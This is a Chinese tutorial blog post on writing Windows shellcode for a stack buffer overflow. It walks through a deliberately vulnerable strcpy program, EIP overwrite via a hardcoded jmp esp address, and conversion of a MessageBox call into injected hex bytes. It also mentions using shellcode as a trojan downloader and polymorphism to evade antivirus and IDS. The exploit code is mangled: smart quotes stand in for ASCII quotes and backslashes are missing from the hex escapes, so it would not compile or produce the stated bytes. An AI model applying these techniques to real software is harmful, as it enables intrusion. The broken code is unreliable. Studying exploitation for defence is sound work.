shellcode的编写与关键

 对于很多人来说,尤其是刚接触溢出的人来说,利用程序的编写中,shellcode的编写最为头疼。其实对于一个有一定编程基础的人来说,shellcode的编写不是特别困难,关键是其中有几个要注意的地方。

shellcode其实就是一段为了控制程序执行而带有某种目的的代码,但是shellcode却是溢出利用中最为重要的部分,不然溢出漏洞对于不能没有shellcode的人来说,只是一个软件的严重错误罢了。

以下是一段溢出的代码:

#include <stdio.h>

#include <string.h>

#include <windows.h>

 

void overflow(char* buf)

{

char des[5]=””;

strcpy(des,buf);

return;

}

void main(int argc,char *argv[])

{

LoadLibrary(“user32.dll”);

char longbuf[100]=”aaaaaaaaaaaabbbbcccccccccccc”;

overflow(longbuf);

return;

}

关于这个程序,别说看不懂,user32.dll是调用win32下的一个API参数而已,在shellcode的编写中,不一定是这个,这里只是做个示范,编写溢出漏洞利用的shellcode时,根据实际需要修改调用的API参数。其它的别说不明白。

在VC++6.0中调试运行来看看结果:

可以看到这个程序是出错了,运行中断了,内存不能为read。

我们来看一下这个程序运行后的ESP寄存器:

这里可以看到函数的返回地址EIP被覆盖成了62626262(bbbb),ESP的地址指向了63,就是c,也就是我们在程序中提交的c。我们在这里, 如果将这个函数返回地址跳转到我们能够控制的ESP地址上,那么我们就能在程序溢出后,让程序执行我们能够控制的变量,也就是所说的shellcode。

也就是说,一般情况下,将函数的返回地址覆盖成为一个类似jmp esp指令的地址,通过esp寄存器指向我们能控制的过长变量。

我们来看下面这个图:

通过过长的A造成程序的溢出,然后用B(我们提交的返回地址)覆盖EIP地址,跳转到ESP地址中,C(shellcode)写入了ESP寄存器。

我们基于这个理论基础,来写一个利用的shellcode:

#include <stdio.h>

#include <string.h>

#include <windows.h>

 

void overflow(char* buf)

{

char des[5]=””;

strcpy(des,buf);

return;

}

void main(int argc,char *argv[])

{

LoadLibrary(“user32.dll”);

char longbuf[100]=”aaaaaaaaaaaa”;

longbuf[12]=’xc8′;

longbuf[13]=’xae’;

longbuf[14]=’xd5′;

longbuf[15]=’x77′;

longbuf[16]=’x33′;

longbuf[17]=’xdb’;

longbuf[18]=’x53′;

longbuf[19]=’x53′;

longbuf[20]=’x53′;

longbuf[21]=’x53′;

longbuf[22]=’xb8′;

longbuf[23]=’xea’;

longbuf[24]=’x04′;

longbuf[25]=’xd5′;

longbuf[26]=’x77′;

longbuf[27]=’xff’;

longbuf[28]=’xd0′;

overflow(longbuf);

return;

}

看一下这段程序运行后的结果:

在这里可以看到,这个程序已经不受系统的报错控制,而是受我们控制的。

这段程序中,“longbuf[12]=’xc8′;longbuf[13]=’xae’;longbuf[14]=’xd5′; longbuf[15]=’x77′;”是我们提交的jmp esp地址,后面的,则是我们说的shellcode,在这里的shellcode目的就是弹出这个对话框。

接下来,就说一下这段代码的基本编写过程。

在这里先解释一下shellcode,shellcode就是一段程序代码,可以说任何计算机语言都是可以编写出一段shellcode,但是由于很多时 候esp空间有限制,所以,shellcode的要求就是尽可能短小、精简、高效三个原则,故常用汇编和C语言类的进行编写,然后shellcode的目 的是为了达到控制程序的运行,很多时候就是为了穿越防火墙,所以shellcode经常被用来提权或者是作为下载器安装木马,而不是将一个木马程序变成 shellcode,否则一个马几百K,再加上安装程序,对于shellcode来说,过于庞大了。

shellcode本身代码的重定位:shellcode是作为一段代码传递给目标程序的,需要在程序的空间之内的,要跟上下文程序相结合,所以需要精准的重定位。

shellcode中使用的API地址定位:在相同系统中,API的地址基本上是一样的,但是在不同的系统中,就有可能出现差异,所以在编写利用 shellcode前,如果调用的API地址不一样,就会出错,所以尽可能使用通用的API地址,或者使用重定位,常用的有PEB进程块的查找,不多说 了,有兴趣可以自己查阅一下相关资料。

还有shellcode编码问题:熟悉Windows的人会知道,00这个字节在Windows中,是中断的意思,所以在编写中,要避免出现00。还有的 是程序中的一些问题,例如有的程序不接受空格、大写字母、特殊符号等等。在编写中使用一些方法去避免这样的问题。

多态技术躲避IDS检测:躲避检测的还包括杀毒软件、防火墙等等,有的时候可能一些shellcode已经是被杀毒软件等记录,并有特征码,所以发送后,就会被查杀,所以要尽可能使用多态技术躲避IDS检测。

下面就来编写上面出现的那段程序,首先用VC++6.0(不会用VS2005或者2010)编写出一段弹出对话框的代码:

#include <stdio.h>

#include <windows.h>

 

void main()

{

MessageBox(NULL,NULL,NULL,0);

return;

}

这个代码很简单,但是不能直接用于shellcode,因为在内存中,计算机只认二进制代码的,所以要进行相关的转换,我们分两步完成。

首先转换为汇编代码,首先在如下图的地方下断点:

按下F5,然后如下图进行选择:

这时可以看见灰色的代码就是我们要实现的messagebox函数的汇编代码:

汇编代码不进行解释了,看不懂的话,还是先别学这个了。将这段灰色的代码复制出来,重新写到代码中去:

#include <stdio.h>

#include <windows.h>

void main()

{

LoadLibrary(“user32.dll”);

_asm

{

xor ebx,ebx

push ebx//push 0

push ebx

push ebx

push ebx

mov eax,77d504eah

call eax

}

return;

}

这里,注意ebx,我们使用异或指令,然后用ebx来替换掉0,原因在上面已经说过了。77d504ea这个是MessageBox函数在系统中的地址,找到后,赋值给eax。将这个程序在VC++6.0编译执行一下,可以看到弹出对话框,说明这个是正确的。

接下来就是最终的转化了,在下图的地方下断点:

同样F5,然后为了方便查看地址,再次调试出灰色的汇编代码,可以发现调试出的跟我们写的一样:

在这里可以看到弹出窗口的代码开始的地址是40103C,我们到内存中找这个地址:

在这里,可以看到内存中的十六进制表现出来的代码了,40103C开始的,401047结束的,我们就将33 DB 53 53 53 53 B8 EA 04 D5 77 FF D0复制下来(别问老夫为什么要把D0复制,不知道再去看看上面说的一些东西),这样也就能实现最终的shellcode了:

#include <stdio.h>

#include <windows.h>

 

char ourshellcode[]=”x33xDBx53x53x53x53xB8xEAx04xD5x77xFFxD0″;

 

void main()

{

LoadLibrary(“user32.dll”);

int *ret;

ret=(int*)&ret+2;

(*ret)=(int)ourshellcode;

return;

}

编译后可以发现弹出对话框,就不截图了。下面的第三部分是一个调试框架,不做解释,只是为了证明代码能够使用。然后将此代码重新写入源程序中,即是老夫最初使用的那段代码。

这里简单介绍了shellcode编写的基本过程和注意的一些东西,至于shellcode所要实现的功能,每个人根据自己的变成水平去进行编写吧,老夫 以前教程和测试中也有计算器的代码,网上也有不少shellcode的代码,大家可以自己找找看看,多多看看别人编写的代码学习一下方法和思路,这样才能 提高自己的水平。

本文转自太子博客原文作者不祥由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理。